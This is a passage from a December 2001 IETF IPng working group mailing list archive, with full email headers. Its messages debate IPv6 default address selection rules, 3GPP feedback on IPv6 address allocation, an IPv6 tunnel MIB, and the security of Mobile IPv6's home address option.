are returned from DNS, which may or may not >be predictable depending on the DNS servers and how the addresses are >put into the DNS. > >This is why I think rule 7 is the better solution for the administrator >in your scenario. In Destination selection rule 7: > Rule 7: Prefer native transport. If DA is reached via an encapsulating transition mechanism > (eg, IPv6 in IPv4) and DB is not, then sort DB before DA. Similarly, if DB is reached via > encapsulation and DA is not, then sort DA before DB. Discussion: 6-over-4 [14], > ISATAP [15], and configured tunnels [16] are examples of encapsulating transition > mechanisms for which the destination address does not have a specific prefix and > hence can not be assigned a lower precedence in the policy table. An implementation > MAY generalize this rule by using a concept of interface preference, > and giving virtual interfaces (like the IPv6-in-IPv4 encapsulating interfaces) > a lower preference than native interfaces (like ethernet interfaces). This idea of interface preference is only mentioned as a MAY. It means that some implementation will do it right and some don't. In the case they don't, the system will rely on longest prefix match with the problematic behavior I exposed earlier. Doing a longest prefix match on something longer than the actual prefix length is always meaningless. I would rather have longest prefix match limited to the prefix length (that is /64 in the normal case) and, in the end, all things being equal, suggest to use a deterministic tie breaker, like using the first interface or address the system has configured. The alternative you mention, that is to use the order returned by the DNS is in my opinion more suitable than sorting interfaces on the particular brand of NIC card they are using. - Alain. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 02:11:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7AB7oH020680 for ; Fri, 7 Dec 2001 02:11:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7AB7Kr020679 for ipng-dist; Fri, 7 Dec 2001 02:11:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7AB3oH020672 for ; Fri, 7 Dec 2001 02:11:03 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA18986 for ; Fri, 7 Dec 2001 02:11:04 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA26102; Fri, 7 Dec 2001 03:11:32 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fB7ACHr03577; Fri, 7 Dec 2001 17:12:18 +0700 (ICT) From: Robert Elz To: Alain Durand cc: "Richard Draves" , ipng@sunroof.eng.sun.com Subject: Re: "Default Address Selection for IPv6" In-Reply-To: <5.1.0.14.0.20011206220240.01d60170@jurassic.eng.sun.com> References: <5.1.0.14.0.20011206220240.01d60170@jurassic.eng.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 07 Dec 2001 17:12:17 +0700 Message-ID: <3575.1007719937@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 06 Dec 2001 22:29:36 -0800 From: Alain Durand Message-ID: <5.1.0.14.0.20011206220240.01d60170@jurassic.eng.sun.com> | In the case they don't, the system will rely on longest prefix match | with the problematic behavior I exposed earlier. As I recall it, it wasn't really problematic, just strange. | Doing a longest prefix match on something longer than the actual | prefix length is always meaningless. Yes, but at least, deterministic meaningless, rather than random. | I would rather have longest prefix match limited to the prefix length | (that is /64 in the normal case) and, in the end, all things being equal, | suggest to use a deterministic tie breaker, like using the following bits in the address... | like using the first | interface or address the system has configured. Neither of those is deterministic. Especially the address, which can determine upon the order in which RAs are received (and how long since an address there was last deprecated). | The alternative you mention, that is to use the order returned by the DNS which is also not deterministic. | is in my opinion more suitable than sorting interfaces on the particular | brand of NIC card they are using. There's certainly nothing to commend using the MAC addresses, other than that they simplify the algorithm (no special cases), and most particularly avoid building in any knowledge of 64 in places where it does not belong. If you can specify this such that it actually uses the currently configured prefix lengths (no mention of the number 64 anywhere) and actually find a way to make the outcome predictable, then I'd be more inclined to accept it as a reasonable change. Otherwise not. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 08:18:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7GINoH022065 for ; Fri, 7 Dec 2001 08:18:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7GIMkL022064 for ipng-dist; Fri, 7 Dec 2001 08:18:22 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7GIIoH022054 for ; Fri, 7 Dec 2001 08:18:18 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA21714 for ; Fri, 7 Dec 2001 08:18:19 -0800 (PST) Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.125]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA26719 for ; Fri, 7 Dec 2001 09:18:52 -0700 (MST) Received: from inet-vrs-01.redmond.corp.microsoft.com ([157.54.8.27]) by mail1.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Fri, 7 Dec 2001 08:18:16 -0800 Received: from 157.54.8.23 by inet-vrs-01.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 07 Dec 2001 08:18:16 -0800 Received: from red-msg-06.redmond.corp.microsoft.com ([157.54.12.71]) by inet-hub-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Fri, 7 Dec 2001 08:18:16 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: "Default Address Selection for IPv6" Date: Fri, 7 Dec 2001 08:18:14 -0800 Message-ID: <7695E2F6903F7A41961F8CF888D87EA804BC42F3@red-msg-06.redmond.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: "Default Address Selection for IPv6" Thread-Index: AcF/B5B+uKdyKaQpQKS7bOyg3swnGgAMvQsQ From: "Richard Draves" To: "Alain Durand" , "Robert Elz" Cc: X-OriginalArrivalTime: 07 Dec 2001 16:18:16.0501 (UTC) FILETIME=[C6E80650:01C17F3A] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fB7GIJoH022055 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk There are clearly some strong opinions both ways on this issue. I plan to raise the issue during the discussion of this draft at IETF and I hope we can discern WG consensus then. Thanks, Rich > -----Original Message----- > From: Robert Elz [mailto:kre@munnari.OZ.AU] > Sent: Friday, December 07, 2001 2:12 AM > To: Alain Durand > Cc: Richard Draves; ipng@sunroof.eng.sun.com > Subject: Re: "Default Address Selection for IPv6" > > > Date: Thu, 06 Dec 2001 22:29:36 -0800 > From: Alain Durand > Message-ID: > <5.1.0.14.0.20011206220240.01d60170@jurassic.eng.sun.com> > > | In the case they don't, the system will rely on longest > prefix match > | with the problematic behavior I exposed earlier. > > As I recall it, it wasn't really problematic, just strange. > > | Doing a longest prefix match on something longer than the actual > | prefix length is always meaningless. > > Yes, but at least, deterministic meaningless, rather than random. > > | I would rather have longest prefix match limited to the > prefix length > | (that is /64 in the normal case) and, in the end, all > things being equal, > | suggest to use a deterministic tie breaker, > > like using the following bits in the address... > > | like using the first > | interface or address the system has configured. > > Neither of those is deterministic. Especially the address, which can > determine upon the order in which RAs are received (and how > long since an address there was last deprecated). > > | The alternative you mention, that is to use the order > returned by the DNS > > which is also not deterministic. > > | is in my opinion more suitable than sorting interfaces on > the particular > | brand of NIC card they are using. > > There's certainly nothing to commend using the MAC addresses, > other than that they simplify the algorithm (no special > cases), and most particularly avoid building in any knowledge > of 64 in places where it does not belong. > > If you can specify this such that it actually uses the > currently configured prefix lengths (no mention of the number > 64 anywhere) and actually find a way to make the outcome > predictable, then I'd be more inclined to accept it > as a reasonable change. Otherwise not. > > kre > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 09:35:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7HZmvU000358 for ; Fri, 7 Dec 2001 09:35:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7HZm11000357 for ipng-dist; Fri, 7 Dec 2001 09:35:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7HZivU000350 for ; Fri, 7 Dec 2001 09:35:44 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA03227 for ; Fri, 7 Dec 2001 09:35:44 -0800 (PST) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA24863 for ; Fri, 7 Dec 2001 10:35:25 -0700 (MST) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA178270; Fri, 7 Dec 2001 11:31:55 -0600 Received: from rotala.raleigh.ibm.com (rotala.raleigh.ibm.com [9.27.21.26]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO v5.01) with ESMTP id fB7HZ9t116936; Fri, 7 Dec 2001 12:35:09 -0500 Received: from rotala.raleigh.ibm.com (narten@localhost) by rotala.raleigh.ibm.com (8.11.6/8.11.6) with ESMTP id fB7HYmp02398; Fri, 7 Dec 2001 12:34:48 -0500 Message-Id: <200112071734.fB7HYmp02398@rotala.raleigh.ibm.com> To: Juan-Antonio Ibanez cc: ipng@sunroof.eng.sun.com Subject: Re: Feedback from 3GPP about draft-wasserman In-Reply-To: Message from "Thu, 06 Dec 2001 20:10:43 +0100." <3C0FC2B3.7D3EC831@eed.ericsson.se> Date: Fri, 07 Dec 2001 12:34:48 -0500 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > General comments: > ---------------- > 1) It would be useful to include some description/guidelines about how > IPv6 address blocks should be allocated to 3G mobile operators (i.e. > what size, possibility to get additional address blocks if needed and > how, etc.), in particular considering that in some countries operators > with more than 100 millions subscribers, possibly using multiple > "primary" PDP contexts, are foreseeable. > It is probably not IPng's task to define these policies, however some > hints or references to other RFCs might reveal useful for telecom > operators that do not necessarily read all these RFCs. My initial reaction is that this may well not be this WG's job. Could you clarify a bit in terms of what you want advice on? Note that you should in any case be also having discussions with the appropriate Regional Internet Registries (RIRs) (i.e., ARIN, APNIC, or RIPE). They may well be able to give you the info you are looking for as they have policies in place that describe the procedures for obtaining IPv6 address space. Consult their web pages for more info and specifics. Finally, note that the RIR IPv6 policy is currently under revision, so now would be a particularly good time to discuss with the RIRs any issues you might have, in case they need to be considered in the updated IPv6 policy. I've appended a somewhat-related note I recently sent to V6 WG in ARIN on this topic. Thomas From: Thomas Narten To: v6wg@arin.net cc: ppml@arin.net, policy@arin.net Date: Fri, 30 Nov 2001 15:09:47 -0500 Subject: IPv6 Policy Proposal discussion As reported at the Miami meeting, a new mailing list, global-v6, has been set up to discuss IPv6 address policy issues. Previously, each RIR (ARIN, APNIC, and RIPE) had been discussing the same general topic but on their own mailing lists. The goal of having all related discussion take place on a single list is to have APNIC, ARIN, and RIPE develop mutually agreeable policies that all three RIRs can adopt as their own. It is expected that much of the discussion that has previously been taking place on the v6wg@arin.net mailing list will instead take place on the global list. The v6wg list will remain in place, however, for discussion of topics more specific to ARIN. You MUST subscribe to the list individually; those of you subscribed to the v6wg list will NOT automatically be added to the global-v6 list. List details: To post: . To subscribe: http://www.apnic.net/net_comm/lists/ Archives: http://www.apnic.net/mailing-lists/global-v6 Finally, an updated IPv6 policy document will be made available shortly. It contains more details and takes into account discussions at the recent RIR meetings. The document will be posted to the global-v6 list and we hope to have some good discussions there. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 09:48:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7HmJvU000569 for ; Fri, 7 Dec 2001 09:48:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7HmJfP000568 for ipng-dist; Fri, 7 Dec 2001 09:48:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7HmGvU000561 for ; Fri, 7 Dec 2001 09:48:16 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA14981 for ; Fri, 7 Dec 2001 09:48:15 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA00669; Fri, 7 Dec 2001 09:48:14 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Fri, 07 Dec 2001 09:48:09 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 43218ED303A24824900C7B9E9F6E2C30 for plus 3 more; Fri, 07 Dec 2001 09:48:09 -0800 From: "Tony Hain" To: "Richard Draves" , "Alain Durand" , "Robert Elz" Cc: Subject: RE: "Default Address Selection for IPv6" Date: Fri, 7 Dec 2001 09:47:47 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <7695E2F6903F7A41961F8CF888D87EA804BC42F3@red-msg-06.redmond.corp.microsoft.com> X-SLUIDL: D1186322-C1C44D13-A7787D18-CACD88D4 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk While it is appropriate to raise the issue for resolution, there is nothing wrong with the text as written. The minor niche case of automating predictability when multiple machines connect to parallel networks is covered by: IPv6 implementations SHOULD support configurable address selection via a mechanism at least as powerful as the policy tables defined here. If an implementation is not configurable or has not been configured, then it SHOULD operate according to the algorithms specified here in conjunction with the following default policy table: If there is a local policy to prefer one wire over the other then the implementation SHOULD have made that configurable. There is no reason to change the default rule set simply to avoid configuration in a case that is MOST LIKELY TO BE CONFIGURED anyway. The people that build networks like the example are the same ones that will refuse to use the automated features of configuration, so making the rules more complex doesn't do anything except delay publication. Tony > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Richard Draves > Sent: Friday, December 07, 2001 8:18 AM > To: Alain Durand; Robert Elz > Cc: ipng@sunroof.eng.sun.com > Subject: RE: "Default Address Selection for IPv6" > > > There are clearly some strong opinions both ways on this issue. I plan > to raise the issue during the discussion of this draft at IETF and I > hope we can discern WG consensus then. > > Thanks, > Rich > > > -----Original Message----- > > From: Robert Elz [mailto:kre@munnari.OZ.AU] > > Sent: Friday, December 07, 2001 2:12 AM > > To: Alain Durand > > Cc: Richard Draves; ipng@sunroof.eng.sun.com > > Subject: Re: "Default Address Selection for IPv6" > > > > > > Date: Thu, 06 Dec 2001 22:29:36 -0800 > > From: Alain Durand > > Message-ID: > > <5.1.0.14.0.20011206220240.01d60170@jurassic.eng.sun.com> > > > > | In the case they don't, the system will rely on longest > > prefix match > > | with the problematic behavior I exposed earlier. > > > > As I recall it, it wasn't really problematic, just strange. > > > > | Doing a longest prefix match on something longer than the actual > > | prefix length is always meaningless. > > > > Yes, but at least, deterministic meaningless, rather than random. > > > > | I would rather have longest prefix match limited to the > > prefix length > > | (that is /64 in the normal case) and, in the end, all > > things being equal, > > | suggest to use a deterministic tie breaker, > > > > like using the following bits in the address... > > > > | like using the first > > | interface or address the system has configured. > > > > Neither of those is deterministic. Especially the > address, which can > > determine upon the order in which RAs are received (and how > > long since an address there was last deprecated). > > > > | The alternative you mention, that is to use the order > > returned by the DNS > > > > which is also not deterministic. > > > > | is in my opinion more suitable than sorting interfaces on > > the particular > > | brand of NIC card they are using. > > > > There's certainly nothing to commend using the MAC addresses, > > other than that they simplify the algorithm (no special > > cases), and most particularly avoid building in any knowledge > > of 64 in places where it does not belong. > > > > If you can specify this such that it actually uses the > > currently configured prefix lengths (no mention of the number > > 64 anywhere) and actually find a way to make the outcome > > predictable, then I'd be more inclined to accept it > > as a reasonable change. Otherwise not. > > > > kre > > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 10:11:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7IBfvU000697 for ; Fri, 7 Dec 2001 10:11:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7IBfOh000696 for ipng-dist; Fri, 7 Dec 2001 10:11:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7IBcvU000689 for ; Fri, 7 Dec 2001 10:11:38 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA24473 for ; Fri, 7 Dec 2001 10:11:33 -0800 (PST) Received: from exchange.Ic4ic.com ([194.90.135.194]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id LAA19083 for ; Fri, 7 Dec 2001 11:11:32 -0700 (MST) Received: through eSafe SMTP Relay 1007305455; Fri Dec 07 20:13:23 2001 Subject: IP Tunnel MIB MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1255" Date: Fri, 7 Dec 2001 20:11:30 +0200 content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 Message-ID: <88BC9E379956AE4DB689CC5FF6F5A43D15C876@exchange.Ic4ic.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: IP Tunnel MIB Thread-Index: AcF7NFPYZqNVKggVS6eW3rede5TBXQEFe15w From: "Daniel Feldman" To: , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fB7IBcvU000690 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dear IPNG and L2TP groups, RFC 2667 deals with IP Tunnel MIB, which is needed for the L2TP MIB. However, it only supports IPv4: "Finally, this MIB does not support tunnels over non-IPv4 networks (including IPv6 networks). Management of such tunnels may be supported by other MIBs." Is there any work on such an MIB? It is required for having L2TP over IPv6... Thanks in advance, ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Daniel Feldman System Engineer, IC4IC Ltd. office: +972(4)959-4644 ext. 121 mobile: +972(55)990-299 fax: +972(4)959-4944 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 10:37:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7Ib6vU000848 for ; Fri, 7 Dec 2001 10:37:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7Ib6Dq000847 for ipng-dist; Fri, 7 Dec 2001 10:37:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7Ib4vU000837 for ; Fri, 7 Dec 2001 10:37:04 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB7IahNE009311 for ; Fri, 7 Dec 2001 10:36:43 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB7IahOS009310 for ipng@sunroof.eng.sun.com; Fri, 7 Dec 2001 10:36:43 -0800 (PST) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5IYpHt010856 for ; Wed, 5 Dec 2001 10:34:51 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA09525 for ; Wed, 5 Dec 2001 10:34:50 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA12649 for ; Wed, 5 Dec 2001 11:34:46 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fB5IYiE02867; Wed, 5 Dec 2001 10:34:44 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAL51566; Wed, 5 Dec 2001 10:34:09 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA00313; Wed, 5 Dec 2001 10:34:43 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15374.26819.630128.842441@thomasm-u1.cisco.com> Date: Wed, 5 Dec 2001 10:34:43 -0800 (PST) To: "Jari T. Malinen" Cc: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <3C0DB6DE.A52D0019@iprg.nokia.com> References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm-u1.cisco.com> <3C0DB6DE.A52D0019@iprg.nokia.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari T. Malinen writes: > For people not to get wrong impression, there is nothing unsolvable > in the remaining issues on the table in mobileip wg for Mobile IPv6. > All issues raised have so far been analyzed in concerns drafts, > and sets of solutions proposed. The question currently is more > to conclude the selection process among the proposed solutions. > > One issue on the table is the scalability of key distribution in > infrastructureless case. Changing tunneling format is an orthogonal > issue to this and I have not understood what so far unsolvable > would such a change achieve. Proposals by people working in security > providing "weak authentication" e.g. based on return routability, > have appeared and been under scrutiny. Jari, I agree that the tunnel format is orthogonal to the security question. I think that what Pekka and others have been pointing out is that the HAO is, in fact, another form of bits-on-the-wire optimized tunnel, much like the routing header. While the actual way you encode these tunnels is orthogonal as you point out, I think that what has been neglected is the security considerations of the HAO qua tunnel, until Pekka brought this up. It's still a good observation. What I gather that Steve is bringing up is that maybe we wouldn't have been lulled about the possible dangers of the HAO for so long if it had been more obvious that the HAO was a tunnel, and that maybe this would be better to solve once and for all. I think that idea has some merit, because creating any-any tunnels may well have other uses beyond mobile IP. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 10:40:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7IeNvU000931 for ; Fri, 7 Dec 2001 10:40:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7IeNgH000930 for ipng-dist; Fri, 7 Dec 2001 10:40:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7IeLvU000923 for ; Fri, 7 Dec 2001 10:40:21 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB7Ie0NE009367 for ; Fri, 7 Dec 2001 10:40:00 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB7Ie0IH009366 for ipng@sunroof.eng.sun.com; Fri, 7 Dec 2001 10:40:00 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5M7ZHt012607 for ; Wed, 5 Dec 2001 14:07:35 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA18738 for ; Wed, 5 Dec 2001 14:07:35 -0800 (PST) Received: from localhost.psc.edu (DYN-79-248.WV.CC.CMU.EDU [128.2.79.248]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA02469 for ; Wed, 5 Dec 2001 15:07:34 -0700 (MST) Received: from localhost (mathis@localhost) by localhost.psc.edu (8.11.2/8.11.2) with ESMTP id fB5H6PL06113; Wed, 5 